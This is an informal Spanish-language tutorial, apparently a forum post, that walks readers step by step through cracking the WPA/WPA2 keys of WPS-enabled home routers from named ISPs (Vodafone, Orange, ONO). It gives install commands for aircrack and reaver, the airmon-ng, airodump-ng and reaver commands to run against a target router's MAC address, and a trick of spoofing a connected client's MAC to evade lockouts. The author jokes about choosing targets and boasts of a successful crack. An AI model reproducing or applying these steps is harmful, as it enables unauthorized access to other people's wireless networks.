Obtener la clave WPA SIEMPRE,solamente el router debe tener activado el WPS:
( PASO A PASO)


Bueno os voy a explicar como obtener la clave wpa siempre y cuando tenga wps activado de:

vodafonexxxx wpa y wpa2
Vodafonexxxx wpa y wpa2
orange-xxxx wpa y wpa2
onoxxxx  - wpa y wpa2
onoxxxxxx -wpa y wpa2

la clave wpa tarda de 5h a 15h pero la abtienes que es lo importante 

Lo voy a explicar de la forma mas facil que pueda...

1
descargamos esta aplicación que instala automáticamente linux ubuntu descarga la aplicacion desde aqui
pagina oficial:   http://www.ubuntu.com/download/ubuntu/windows-installer
la aplicacion es facil de utilizar elegimos el espacio que queremos que utilice la distro elegimos nombre de usuario y contraseña
y le damos a instalar despues reiniciamos y antes de arrancar el sistema operativo nos da a elegir entre windows y ubuntu..

2 
una vez ya en ubuntu nos conectamos a Internet y descargamos la suite de aircrack de la siguiente manera
abrimos una dell consola ventanita negra como lo queráis llamar y tecleas lo siguiente...

sudo su

 pones el password aunque no aparezca, estas escribiendo no te alarmes^^
para descargar aircrack escribes lo siguiente:

 wget http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/download/aircrack-ptw-1.0.0.tar.gz

 tar -zxvf aircrack-ptw-1.0.0.tar.gz

 cd aircrack-ptw-1.0.0

 make clean && make

 cp aircrack-ptw /usr/bin/

y ya debería de estar aircrack instalado

después descargamos reaver wps esta es la herramienta esencial, lo que hace es darte la clave wpa de 5 a 15 horas
y lo descargamos así

wget http://code.google.com/p/reaver-wps/downloads/detail?name=reaver-1.3.tar.gz&can=2&q= && cd reaver-1.3/src

 ./configure

  make

 make install

y ya lo tenemos instalado el reaver y wlash que es para saber quien tiene el wps conectado hacemos esto

1º descarga macchanger buscalo por google o pon esto en otra consola

 sudo apt-get install macchanger

ahora vamos a por esa wpa 
 cambiamos nuestra mac con macchanger 
tecleamos en una nueva consola

airmon-ng start wlan0  

airodump-ng mon0  -----  ctrl + c paras la busqueda

copia la mac del objetivo que no sea un vecino claro jeje
abres nueva sell y tecleas 

reaver -i mon0 -b xx:xx:xx:xx:xx:xx -vv las x son la mac del objetivo
y a esperar

he visto que los routers de orangexxxx te tiran nada mas empezar igual que los de vodafone pero lo he conseguido detectando un cliente conectado al router y cambiando mi mac y poniéndome la misma que la suya para que me reconozca como si fuese el y me deje, también debéis saber que todo el proceso se para con ctrl + c y se guarda para continuar donde lo dejaste  un saludo

lo siento por mis explicaciones que apenas se entiende pero partiendo de aquí podéis googlear y lo veréis todo bien ..... esto a sido una explicación mas o menos por encima ... un saludo 
 YA TENEMOS LOS ROUTER AL DESCUBIERTO SEEE !! 

esto lo he probado yo y FUNCIONA !! He obtenido una wpa2 psk tkip en 6 horas